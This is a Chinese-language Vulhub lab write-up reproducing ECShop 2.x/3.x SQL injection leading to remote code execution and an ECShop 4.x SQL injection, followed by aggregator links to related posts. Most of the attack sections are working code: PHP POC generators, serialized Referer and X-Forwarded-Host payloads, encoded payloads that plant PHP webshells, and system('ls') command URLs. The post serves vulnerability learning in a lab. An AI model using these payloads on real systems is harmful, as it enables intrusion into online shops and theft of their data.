Vulhub 漏洞学习之:ECShop

1 ECShop 2.x/3.x SQL注入/远程命令执行漏洞

ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

其2017年及以前的版本中,ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行。攻击者无需登录站点等操作,通过该漏洞可注入恶意数据,可以直接远程写入webshell,最终导致任意代码执行漏洞,危害严重。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。

参考链接:

1.1 环境安装

浏览器打开 http://your-ip:8080 进入安装向导页面。 数据库地址为 mysql, 用户名和密码均为 root 。其他任意。3.x版本端口为8081。

1.2 漏洞产生原因

  1. referer值未加判断直接引用,可被攻击者控制输入

  2. 利用_echash为定值进行切分,构造payload

    // ecshop2.7
    ./includes/cls_template.php:28: var $_echash = '554fcae493e564ee0dc75bdf2ebf94ca'; // ecshop3.X
    ./includes/cls_template.php:28: var $_echash = '45ea207d7a2b68c49582d2d22adf953a';
  3. 利用反序列化漏洞,构造payload,传输恶意代码

  4. insert_ads函数的SQL拼接不规范导致存在SQL注入

  5. make_val函数拼接字符串输入,_eval中调用用户输入通过eval最终导致任意命令执行

  6. 在ECShop3.x版本中,添加了一个 includes/safety.php 文件,专门用于消除有害数据,它的正则会匹配到 setconcatinformation_schemaselect from 等语句。暂时没有找到可绕过的SQL语句,但是命令执行还是可以绕过的。因为我们之前的payload经过编码,这样就绕过了正则匹配。现在唯一能匹配到的就是 union select 语句,我们可以同时利用 $arr['id']$arr['num'] 两个参数,将 unionselect 分开传递即可绕过正则检测。

1.3 漏洞利用过程

  1. 漏洞POC脚本:

    // POC中存在需要对$进行转义:\$
    
    <?php
    $shell = bin2hex("[POC]");
    $id = "-1' UNION/*";
    $arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
    ]; $s = serialize($arr); $hash3 = '45ea207d7a2b68c49582d2d22adf953a';
    $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca'; echo "POC for ECShop 2.x: \n";
    echo "{$hash2}ads|{$s}{$hash2}";
    echo "\n\nPOC for ECShop 3.x: \n";
    echo "{$hash3}ads|{$s}{$hash3}";
    ?>
  2. 生成POC

    // POC= "{\$asd'];phpinfo\t();//}xxx"
    // 需要对$进行转义
    # php poc.php
    POC for ECShop 2.x:
    554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca POC for ECShop 3.x:
    45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
  3. 将生成的POC,放在Referer里发送:

    GET /user.php?act=login HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
    Referer: [生成的POC]
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
  4. 2.X

  5. 3.X

1.4 命令执行

  1. 命令执行Payload

    // 核心Payload
    file_put_contents('1ndex.php','<?php eval($_REQUEST[acmd]);?>'); // 进行反序列化
    {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzFuZGV4LnBocCcsJzw/cGhwIGV2YWwoJF9SRVFVRVNUW2FjbWRdKTs/PicpOw=='));//}xxx // 对Payload进行编码
    0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a46755a4756344c6e426f634363734a7a772f63476877494756325957776f4a4639535256465652564e555732466a625752644b54732f506963704f773d3d2729293b2f2f7d787878
  2. 上传命令执行文件:

    GET /user.php HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:313:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a46755a4756344c6e426f634363734a7a772f63476877494756325957776f4a4639535256465652564e555732466a625752644b54732f506963704f773d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
    Connection: close
    • 验证命令执行Payload:http://192.168.210.13:8080/1ndex.php?acmd=phpinfo();
    • http://192.168.210.13:8080/1ndex.php?acmd=system('ls');

1.5 WebShell

  1. WebShell Payload

    // 核心Payload
    file_put_contents('lndex.php','<?php eval($_POST[acmd]); ?>') // 进行反序列化
    {$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2xuZGV4LnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUW2FjbWRdKTsgPz4nKQ=='));//}xxx // 对Payload进行编码
    7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a3278755a4756344c6e426f634363734a7a772f63476877494756325957776f4a46395154314e555732466a625752644b547367507a346e4b513d3d2729293b2f2f7d787878
  2. 上传命令执行文件:

    GET /user.php HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:305:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a3278755a4756344c6e426f634363734a7a772f63476877494756325957776f4a46395154314e555732466a625752644b547367507a346e4b513d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
    Connection: close
  3. 使用功具连接WEBShell

    :此处使用默认、Base64与rot13的编码器会连接失败。怀疑应该是ECShop过滤了相关字符,还不清楚原因。

2 ECShop 4.x collection_list SQL 注入

利用前提是有登录的账号

ECShop 4.x存在利用任意insert_函数进行SQL注入漏洞。

我们可以控制echash的位置来控制最终进入到insert_mod函数的中的name变量,那么这里对name变量中的"|"进行切割,对para内容进行反序列化,最终由insert_xxx函数调用$para变量,那么这里由于ECShop的代码特殊性,并没有像TP框架那样在代码初始化引入全局变量,因此这里如果想要有效利用,或者进行反序列化利用,就必须得看当前代码环境所包含的文件名,最好的情况就是包含的文件中存在insert_xxx函数,或者存在一些可利用的类能够进行反序列化。

  • 用户传参被转义,gbk的话可以宽字节绕过,或者考虑二次注入,或者找数字型注入,无需闭合。
  • 在HTTP头内的参数不会被转义。(优先考虑)

1.1 环境安装

浏览器打开 http://your-ip:8080 进入安装向导页面。 数据库地址为 mysql, 用户名和密码均为 root

1.2 漏洞利用过程

  1. POC脚本:此处利用的是insert_pay_log函数

    <?php
    $a = "1' and updatexml(1,user(),1) and '";
    $s = serialize($a);
    $_echash = '45ea207d7a2b68c49582d2d22adf953a';
    echo $_echash.'pay_log|'.$s.'|'.$_echash;
    ?>
  2. $_echash参数:

    root@8ab484416518:/var/www/html# grep -nr "_echash" includes/cls_template.php
    28: var $_echash = '45ea207d7a2b68c49582d2d22adf953a';
  3. Ecshop中有许多可被利用的 insert_ 函数,如 insert_user_account

    45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
  4. 完整Payload:要登录后的cooike

    GET /user.php?act=collection_list HTTP/1.1
    Host: your-ip:8080
    X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
    Cookie: [your-cookie]
    Connection: close

Vulhub 漏洞学习之:ECShop的更多相关文章

  1. vulhub漏洞环境

    0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...

  2. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  3. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  4. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  5. ubuntu搭建vulhub漏洞环境

    0x01 简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像.旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身. ...

  6. XXE漏洞学习笔记

    XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...

  7. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  8. JWT漏洞学习

    JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...

  9. 【转】Vulhub - 开源的安全漏洞学习与复现项目

    转载于:https://uk.v2ex.com/t/485611#reply15 Vulhub 是一个面向大众的开源漏洞靶场,无需 docker 知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场 ...

  10. KALI搭建Docker+Vulhub漏洞复现环境

    在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...

随机推荐

  1. Zabbix与乐维监控对比分析(二)——Agent管理、自动发现、权限管理

    上期我们详细介绍了Zabbix与乐维监控的架构与性能对比分析,透过架构与性能对比分析,用户可以对乐维监控之所以能成为"Zabbix企业版"有一个初步的认知.本篇是Zabbix对比乐 ...

  2. 【Spark】Day01-入门、模块组成、4种运行模式详解及配置、案例实操(spark分析过程)

    一.概述 1.概念 基于内存的大数据分析计算引擎 2.特点 快速.通用.可融合性 3.Spark内置模块[腾讯8000台spark集群] Spark运行在集群管理器(Cluster Manager)上 ...

  3. ArcObjects SDK 012 PageLayout和Page

    1.从ArcMap角度看结构 一个Mxd文件包含一个PageLayout对象和一个多多个Map对象,每个Map会被包成MapFrame,添加到PageLayout中.我们用ArcMap打开一个mxd文 ...

  4. 边框 display属性 盒子模型 浮动 溢出 定位 z-index

    目录 边框 隐藏属性 钓鱼网站 display visibility 盒子模型 调整方式 浮动 溢出 圆形头像的制作 定位 z-index属性 边框 /*border-left-width: 5px; ...

  5. Windows11家庭中文版——启用或关闭Windows功能中找不到hyper解决方法

    Windows11家庭中文版找不到hyper解决方法: 1.将如下代码添加到记事本中,并另存为[Hyper-V.bat]文件,代码如下: pushd "%~dp0" dir /b ...

  6. easygui的简单使用——实现猜字谜小游戏

    游戏:随机生成个谜底,每轮有3次机会,猜对了结束本轮游戏,猜错了提示猜大了还是猜小了,并显示剩余次数,3次用完后本轮字谜游戏结束,可重新开始猜字谜,也可结束游戏 # 使用 easygui 实现猜字谜游 ...

  7. VC实例和VM实例的区别!!!

    1.内置关系是什么 VueComponent.prototype.__proto__ === Vue.prototype 2.为什么要有这个关系 让组件实例对象可以访问到 Vue原型上的属性.方法.

  8. 3、mysql着重号解决关键字冲突

    1.着重号(`  `): 使用着重号(` `)将字段名或表名括起来解决冲突:保证表中的字段.表名等没有和保留字.数据库系统名或常用方法名冲突

  9. 基于 Traefik 如何实现 path 末尾自动加斜杠?

    前言 Traefik 是一个现代的 HTTP 反向代理和负载均衡器,使部署微服务变得容易. Traefik 可以与现有的多种基础设施组件(Docker.Swarm 模式.Kubernetes.Mara ...

  10. pnpm配置

    之前通过 nvm 来管理了 nodejs 版本,结果安装 pnpm 之后,安装全局依赖报错,如下: PS C:\Users\Administrator> pnpm i -g commitizen ...